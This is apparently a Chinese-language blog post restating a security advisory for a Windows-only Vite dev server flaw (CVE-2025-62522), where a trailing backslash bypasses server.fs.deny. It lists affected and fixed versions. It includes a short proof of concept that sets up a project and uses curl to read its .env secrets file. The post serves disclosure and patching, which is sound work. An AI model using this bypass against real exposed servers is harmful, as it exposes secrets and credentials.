Vite Windows系统下server.fs.deny绕过漏洞分析

本文详细分析了Vite构建工具在Windows系统下存在的安全漏洞CVE-2025-62522,攻击者可通过反斜杠绕过server.fs.deny配置访问敏感文件,影响多个Vite版本,涉及路径遍历漏洞原理和修复方案。

Vite允许通过反斜杠绕过server.fs.deny限制(Windows系统)

漏洞详情

摘要
通过server.fs.deny拒绝访问的文件,如果在Windows系统上运行开发服务器,且URL以反斜杠结尾,这些文件仍然会被发送。

影响范围
仅满足以下条件的应用受到影响:

  • 明确将Vite开发服务器暴露到网络(使用–host或server.host配置选项)
  • 在Windows系统上运行开发服务器

技术细节

server.fs.deny可以包含匹配文件的模式(默认情况下包括.env、.env..{crt,pem}等模式)。攻击者可以通过使用反斜杠()来绕过这些模式。根本原因是fs.readFile(’/foo.png/’)会加载/foo.png文件。

概念验证(PoC)

1
2
3
4
5
6
npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env\ http://localhost:5173

受影响版本

  • = 7.1.0, <= 7.1.10

  • = 7.0.0, <= 7.0.7

  • = 6.0.0, <= 6.4.0

  • = 2.9.18, < 3.0.0

  • = 3.2.9, < 4.0.0

  • = 4.5.3, < 5.0.0

  • = 5.2.6, <= 5.4.20

已修复版本

  • 7.1.11
  • 7.0.8
  • 6.4.1
  • 5.4.21

安全指标

CVSS评分: 6.0(中危)

弱点类型: CWE-22 路径遍历漏洞

参考链接

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计